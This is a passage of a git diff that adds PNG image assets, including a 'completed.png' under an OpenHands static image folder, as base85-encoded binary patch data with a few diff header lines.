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 z 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 literal 0 HcmV?d00001 diff --git a/openhands/static/img/software-factory/completed.png b/openhands/static/img/software-factory/completed.png new file mode 100644 index 0000000000000000000000000000000000000000..35f3f0d4ec9ba74ca53cbac3291393dbd3e6430c GIT binary patch literal 151566 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 